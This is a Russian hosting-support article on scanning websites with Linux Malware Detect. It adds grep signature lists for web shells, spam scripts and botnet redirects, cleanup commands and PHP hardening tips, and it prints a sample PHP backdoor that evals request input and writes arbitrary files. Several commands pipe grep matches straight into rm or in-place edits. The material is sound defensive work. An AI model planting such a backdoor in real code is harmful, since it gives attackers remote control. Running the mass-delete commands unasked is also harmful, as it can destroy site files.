Статья давно не обновлялась, поэтому информация могла устареть.
Содержание |
Поиск вирусов с помощью Linux Malware Detect
Введение
Linux Malware Detect (LMD) или maldet - это специализированный инструмент для поиска вирусов, спам-скриптов, веб-шеллов и прочего вредоносного кода в файлах сайтов. Он может создавать отчеты и лечить инфицированные файлы.
Установка
Установка для CentOS и Debian одинакова:
cd /root wget http://www.rfxn.com/downloads/maldetect-current.tar.gz tar -zxvf maldetect-current.tar.gz cd maldetect-*/ bash install.sh
Установочный скрипт кладет исполняемый файл в /usr/local/maldetect/maldet и делает на него символическую ссылку /usr/local/sbin/maldet. Также скрипт создает файл /usr/lib/libinotifytools.so.0. Создается ежедневное cron-задание в /etc/cron.daily/maldet
Сразу же обновляются базы сигнатур.
Конфигурационный файл: /usr/local/maldetect/conf.maldet
Удаление программы с сервера:
rm -rf /usr/local/maldetect/ /etc/cron.daily/maldet /usr/local/sbin/maldet /usr/local/sbin/lmd
Использование
Запуск сканирования стандартных путей, если у вас установлена панель управления ispmanager:
maldet -a /var/www/*/data/www
Сканировать только файлы, измененные за последние 5 дней:
maldet -r /var/www/*/data/www 5
По завершении сканирования будет выведено общее количество просканированных файлов, количество инфицированных и количество излеченных файлов. Также будет выведен номер отчета, который можно посмотреть командой, например:
maldet --report 040515-0743.23617
Обновить базы сигнатур:
maldet -u
Переместить найденные зараженные файлы в карантин (в каталог /usr/local/maldetect/quarantine):
maldet -q 040615-0925.31477
Вытащить файлы из карантина:
maldet -s 040615-0925.31477
Пробовать очистить зараженные файлы от вредоносных вставок кода:
maldet -n 040615-0925.31477
Добавить вредоносный код в базу сигнатур maldet:
maldet -c badfile.php
Настройка
Настроим автоматический запуск maldet по ежедневному расписанию cron.
Правим конфиг /usr/local/maldetect/conf.maldet:
# если хотим получать уведомления на почту email_alert=1 email_subj="maldet alert from $(hostname)" email_addr="ваша@почта.com" # помещать файлы в карантин quar_hits=1 # используем движок clamav для ускорения поиска clamav_scan=1
Вносим изменения в crontab-файл для того, чтобы сканировались директории с сайтами при установленном ispmanager:
vi /etc/cron.daily/maldet
Удаляем строки после:
if [ "$(ps -A --user root -o "comm" | grep inotifywait)" ]; then /usr/local/maldetect/maldet --alert-daily >> /dev/null 2>&1 else
Вставляем:
# стандартные пути ispmanager if [ -d "/var/www" ]; then /usr/local/maldetect/maldet -b -r /var/www/?/data/www 2 >> /dev/null 2>&1 fi fi
Проверка файлов сайтов без установки Linux Malware Detect на сервер
cd /root wget http://www.rfxn.com/downloads/maldetect-current.tar.gz tar -zxvf maldetect-current.tar.gz cd maldetect-1.4.2/files
Устанавливаем значение переменной для разрешения запуска скрипта от пользователя:
vi conf.maldet public_scan=1
Изменяем каталог, куда должна устанавливаться программа, на текущий каталог. Правим скрипт maldet:
vi maldet
Меняем
inspath=/usr/local/maldetect
на
inspath=$PWD
Запускаем maldet прямо из директории /root/maldetect-1.4.2/files:
./maldet -h
Поиск скриптов, рассылающих спам и файлов ботнета Zeus, Exploit Kit Redirect
Команда, которая не удалит ничего лишнего:
# grep -Rils --include=\*.php -e ' n7b0ecdff' -e 'CmlmKGlzc2V0KCRfUE9TVFsiY29k' ./* | xargs rm
Эта команда найдет возможные спам-скрипты и сохранит их список в файл spam_scripts в директории, где вы сейчас находитесь:
# grep -Rils --include=\*.php -e '\@\$emaillist\=\$_POST' -e '\$emaillist=' -e '\$smtp_username=' -e '\$smtp_password=' -e 'Sender Anonym Email' ./* > spam_scripts
Эта команда найдет различные ботнетовские редиректы, и сохранит их список в файл redirects в директории, где вы сейчас находитесь:
# grep -Rils --include=\*.{php,htm,html} -e 'if(md5(md5(\$' -e 'h1\>Loading...' -e 'b\>Please wait a moment ...\ You will be forwarded. \<' -e '... Please wait...\<\/h3' -e 'You are here because one of your friends has invited you...\ Redirecting...' -e 'bankofamerica' -e 'http:\/\/hellosomeguys' -e 'rldailynews.com' -e 'http\:\/\/.*doctor.*\.com' -e '\-\-81a338\-\-' -e '\; it.src = ' ./* > redirects
В результате выполнения этих команд, вы получите два списка файлов, которые необходимо вручную проверить: если среди них нет нужных файлов, то вы можете удалить все файлы из списка.
Поиск различных malware скриптов
Эта команда найдет Shell'ы на сайтах, и сохранит их список в файл malware1 в директории, где вы сейчас находитесь. Так как такая команда может занять довольно продолжительное время, поэтому в ее конце стоит знак &, это позволит продолжить работу с консолью.
# grep -Rils --include=\*.{php,htm,html} -e 'FilesMan' -e 'b=4594' -e 'e2aa4e' -e 'v58f57b98 = 0' -e 'forexam\@pandion.im' -e 'pathToDomains' -e 'if(navigator.userAgent.match(' -e 'var vst = String.fromCharCode' -e 'Menu\_files\/jquery.js' -e 'i5463 == null' -e 'r57.gen.tr' -e '\/rsize.js' -e 'feelthesame.changeip.name' -e '40,101,115,110,98,114,105,110' -e 'c99sh' -e 'Shell by' -e ' sh_ver' -e '\.tcpflood' -e 'c999sh' -e 'Array(base64_decode' -e 'Attacker Perl File' -e 'bogel = ' -e '(\!function_exists(\"getmicrotime\"))' -e'\$d=substr' -e 'WSO ' -e 'r57shell' -e 'msg=@gzinflate(@base64_decode(@str_replace' -e '6POkiojiO7iY3ns1rn8' -e ' mysql_safe' -e 'sql2_safe' -e 'aHR0cDovLzE3OC4yMTEu' -e 'php function _' -e 'encodeURIComponent(document.URL)' -e '\; if(isset(\$_REQUEST' -e 'UdpFlood' -e 'udp\:\/\/1.1.1.1' -e '\ (md5(\$_POST\[' -e 'header(\"Location\: http' -e 'fx29sh_' -e 'c999sh_surl' -e 'c99sh' -e '\/request12.php' -e 'NlOThmMjgyODM0NjkyODdiYT' ./* > malware1 &
Эта команда найдет различные malware в php скриптах на сайтах, и сохранит их список в файл malware2 в директории, где вы сейчас находитесь. Выполнение этой команды, так же как и предыдущей, может занять продолжительное время, поэтому в ее конце стоит &:
# grep -Rils --include=\*.php -e 'JGNvZGUgPSBiYXNlN' -e 'DQplcnJ' -e 'eval(gzinflate(base64_decode' -e 'eval(gzinflate(str_rot13(base64_decode(' -e 'eval(gzuncompress(base64_decode(' -e 'eNrtfWt72zbS6Of6VyBcZSk1uviSS2vFTl1Haf' -e 'JpdGVDb25kICV7SFRUUF9VU0VSX0FHRU5' -e 'JHNoX2lkID0gIld5QW1aR0ZuWjJWeU95Q' -e 'sDdphXZgsTKddSYnsFVT9EUfRCI' -e 'QBDB51E25BF9A7F3D2475072803D1C36D' -e 'Yzk5c2hlbGwucGhw' -e 'aHR0cDovL3d3dy5zb21lLWNvZGUvZXhwbG9pdHMuYw' -e 'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kL' -e 'QfgsDdphXZgsTKog2c1x' -e 'QGVycm9yX3JlcG9ydGluZygwKTsg' -e 'JHNoX2lkID0gIlQzZHVaV1' -e 'rUl6QttVEP58lfoflr' -e 'jVNtT9tADP4' -e 'c2V0X3RpbWVf' -e 'UFycmF5KGJhc2U2NF9kZWNvZGUo' -e 'pZLfasMgFMbvB3sHK4UolLKNXa3r' -e 'nVNdi9swEHw' -e 'JHl5eU5CTnJLZk5TeUdyaX' -e 'JZvHbsRIlkX39SNdBS5okwbd0wV6n' -e '8\<\[\@7MGLKMs' -e 'DVU1EuQGEHyO70qBWKst' -e '\@432LKMs' -e 'QfgsDdphXZgsTKog' -e 'ZGVmaW5lKCdBS0lTTUVUX1' ./* > malware2 &
Эта команда найдет различные malware в java скриптах на сайтах. Список выведет сразу:
# grep -Rils --include=\*.js -e '\%3C\%73\%63\%72\%69\%70\%74\%20\%74\%79\%70' -e 'kSKlBXYjNXZfhSZwF2YzVmb1h' ./*
Проверка и чистка/удаление найденных скриптов
После получения списка зараженных файлов настало время их почистить.
malware1:
cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils 'FilesMan' | \ xargs grep -Rils "sDdphXZgsTKddSYnsF" | xargs sed -i "" -e "/auth_pass\ =/d" &
cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils 'FilesMan' | \ xargs grep -Rils "sDdphXZgsTKddSYnsF" | xargs sed -i "" -e "/sDdphXZgsTKddSYnsF/d" &
cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils 'FilesMan' | xargs rm &
Следующая команда удаляет скрипты с подобным кодом:
<?php $awff = "a9b193d36245fc6a750a75eb594a3c70"; if(isset($_REQUEST['vpyu'])) { $wwyioqi = $_REQUEST['vpyu']; eval($wwyioqi); exit(); } if(isset($_REQUEST['yccqdyb'])) { $mhvwg = $_REQUEST['qipseeqy']; $mvwvjnec = $_REQUEST['yccqdyb']; $gfcked = fopen($mvwvjnec, 'w'); $qllnske = fwrite($gfcked, $mhvwg); fclose($gfcked); echo $qllnske; exit(); }?>
cat malware1 | xargs grep -Rils ' = fopen(\$' | xargs grep -Rils ' = fwrite(\$' | xargs rm &
Команда, которая удалит веб-шеллы FilesMan:
cat malware1 | xargs grep -Rils 'FilesMan' | xargs grep -Rils 'auth_pass' | xargs rm &
Смотрим для каждого паттерна и по ходу либо чистим файлы, либо удаляем.
cat malware1 | xargs grep -Rils 'b=4594'
malware2:
Чистка кода от возможных вставок:
cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e 's/eval\(base64_decode\(\"DQplcn.*fQ0KfQ\=\="\)\)\;//g' &
cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e 's/eval\(base64_decode\(\"DQplcn.*Cn0NCn0\=\"\)\)\;//g' &
cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e 's/eval\(base64_decode\(\"DQplcn.*DQp9DQp9\"\)\)\;//g' &
Смотрим каждый паттерн отдельно и также либо чистим, либо удаляем файл:
cat malware1 | xargs grep -Rils 'паттерн_из_второй_длинной_команды_из_пункта_3'
Профилактика защиты от вирусов
Не секрет, что чем дальше, тем больше становится вредоносного кода, способного поразить файлы Вашего сайта и все больше способов злоумышленники находят, чтобы получить доступ к файлам сайта. Не существует панацеи, чтобы "легким движением руки" раз и навсегда избавить свои файлы от печальной участи. Прежде всего, безопасность Ваших ресурсов зависит именно от Ваших же действий. Вам необходимо снизить шанс заражения сайта вредоносным кодом. Более подробно рассмотрим некоторые возможности для осуществления этого.
Как предостеречь свои проекты от вредоносного кода, а также себя от нервных срывов
- Прежде, чем размещать сайт на сервере, проверьте антивирусом все компьютеры, на которых могли находиться файлы сайта и с которых Вы производите администрирование. Делайте проверку регулярно;
- Регулярно обновляйте программное обеспечение на сервере. Зачастую уязвимости в ПО являются векторами атак;
- Используйте новые версии CMS и всех шаблонов/плагинов/скриптов для сайта, регулярно делайте обновления. Обратите также внимание, что nulled-версии (не лицензионные) CMS могут иметь ряд уязвимостей;
- Используемые пароли - немаловажный пункт. Меняйте пароли периодически и не пренебрегайте правилам безопасности паролей;
- Старайтесь не размещать несколько сайтов в директории одного пользователя, а по возможности создавайте отдельного пользователя для каждого - так Вы изолируете сайты друг от друга на случай заражения;
- Возьмите за правило делать резервные копии (бэкапы) сайтов. Как только закончили размещать сайт на сервере и наполнять его контентом, сделайте его бэкап, чтобы Вы всегда смогли восстановить файлы сайта. Обязательно настройте график резервного копирования в панели управления сервером ispmanager (если Вы используете ее). Инструкция здесь;
- Слабое место сайта - это директории с правами доступа 777 (например, uploads), куда злоумышленники могут поместить вредоносные скрипты. Запретите исполнение кода с помощью .htaccess в таких директориях. Для этого создайте файл с именем .htaccess в необходимой директории с следующим содержимым:
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
- В файле конфигурации PHP (php.ini) отключите неиспользуемые функции из списка в опции disable_functions (используемые уберите):
disable_functions = exec, mail, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source
- Для отправки писем с сайта используйте функцию PHP smtp
- Для профилактики спама установите на сайте captcha на формы отправки.
В чистке сайта от вредоносного кода Вам поможет эта статья
Немного информации по безопасности
- http://find-xss.net/scanner/ - онлайн-сканер уязвимостей скриптов сайта
WordPress
- http://bezopasnostpc.ru/sites/site-protection/zashhita-sayta-kontrol-zarazheniya-wordpress-file-monitor-plus
- http://blogproblog.com/wordpress-security/
- http://blog.sjinks.pro/security/1122-fight-brute-force-attacks/
Joomla
- http://joomlaportal.ru/content/view/1364/70/
- http://joomlaforum.ru/index.php/topic,246899.0.html
- http://joomlaforum.ru/index.php/board,104.0.html
- http://joomla-umnik.ru/zaschita-adminki-joomla
- http://joofaq.ru/problemi-s-joomla-i-rasshireniyami/bezopasnost-sayta/ispolzuem-fayl-htaccess-dlya-zaschiti-sayta-skrivaem-dostup-k-adminke-joomla-i-ubiraem-prosmotr-moduley-cherez-tp-1